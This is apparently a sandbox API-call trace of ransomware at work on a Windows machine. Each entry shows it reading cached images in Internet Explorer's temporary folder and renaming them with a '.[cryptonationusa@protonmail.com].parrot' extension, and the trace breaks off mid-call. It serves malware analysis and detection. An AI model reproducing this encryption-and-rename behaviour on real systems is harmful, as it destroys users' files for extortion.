(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.763] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.763] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.765] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.765] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1b6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1b6, lpOverlapped=0x0) returned 1 [0082.765] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.766] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.769] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.769] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.771] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.771] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x156, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x156, lpOverlapped=0x0) returned 1 [0082.771] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.771] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.774] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.774] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.778] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.778] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x152c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x152c, lpOverlapped=0x0) returned 1 [0082.779] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.779] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.782] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.782] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.784] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.784] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x97c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x97c, lpOverlapped=0x0) returned 1 [0082.784] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.785] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.787] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.787] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.789] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.789] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29ca, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29ca, lpOverlapped=0x0) returned 1 [0082.790] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.791] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.795] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.795] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.818] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.818] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x862, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x862, lpOverlapped=0x0) returned 1 [0082.819] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.819] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.823] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.823] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.824] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.824] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x142e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x142e, lpOverlapped=0x0) returned 1 [0082.825] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.829] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.832] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.832] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.833] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.834] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e6b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3e6b, lpOverlapped=0x0) returned 1 [0082.835] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.836] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.841] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.841] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.843] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.843] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x812, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x812, lpOverlapped=0x0) returned 1 [0082.844] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.844] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.847] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.847] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.848] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.849] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb22, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xb22, lpOverlapped=0x0) returned 1 [0082.849] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.849] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.852] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.852] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.854] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.855] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1529, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1529, lpOverlapped=0x0) returned 1 [0082.856] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.856] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.859] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.859] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.860] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.860] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1e61, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1e61, lpOverlapped=0x0) returned 1 [0082.861] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.862] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.864] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.864] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.866] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.866] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x636, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x636, lpOverlapped=0x0) returned 1 [0082.867] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.867] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.870] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.870] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.871] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.871] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x82a, lpOverlapped=0x0) returned 1 [0082.872] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.872] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.876] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.876] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.877] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, 